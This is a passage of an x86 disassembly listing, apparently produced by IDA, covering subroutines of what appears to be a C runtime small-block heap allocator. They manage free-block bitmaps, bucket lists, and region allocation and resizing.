		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2790000h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2830000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		call	near ptr 28907B0h
		nop
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		call	near ptr 2790000h
		nop

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28907B0h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
